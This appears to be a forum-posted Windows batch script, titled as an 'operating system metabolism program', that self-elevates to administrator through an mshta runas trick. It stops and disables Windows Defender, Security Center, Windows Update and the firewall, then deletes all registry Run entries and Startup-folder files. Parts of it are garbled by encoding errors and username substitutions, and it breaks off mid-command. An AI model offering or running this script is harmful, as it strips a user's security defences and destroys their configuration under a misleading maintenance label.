@璐村惂鐢ㄦ埛_000076K馃惥 off
title 操作系统新陈代谢程序
::提升管理员权限
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
::停止系统更新相关服务
@贴吧用户_00000Qe stop wscsvc
@net stop wuauserv
@net stop SDRSVC
@net stop WpnService
@net stop Sense
@net stop WdNisSvc
@net stop WinDefend
::禁用系统更新相关服务
@sc config wscsvc start=DISABLED
@sc config wuauserv start=DISABLED
@sc config SDRSVC start=DISABLED
@sc config WpnService start=DISABLED
@sc config Sense start=DISABLED
@sc config WdNisSvc start=DISABLED
@sc config WinDefend start=DISABLED
::禁用防火墙相关服务
@netsh firewall set opmode mode=disable profile=ALL
@netsh firewall set opmode mode=disable
::删除注册表所有启动项
reg delete HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /va /f
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /va /f
::删除启动文件夹中的文件
del "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\*.*" /q /f
::刷新已禁用的启动项
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Sh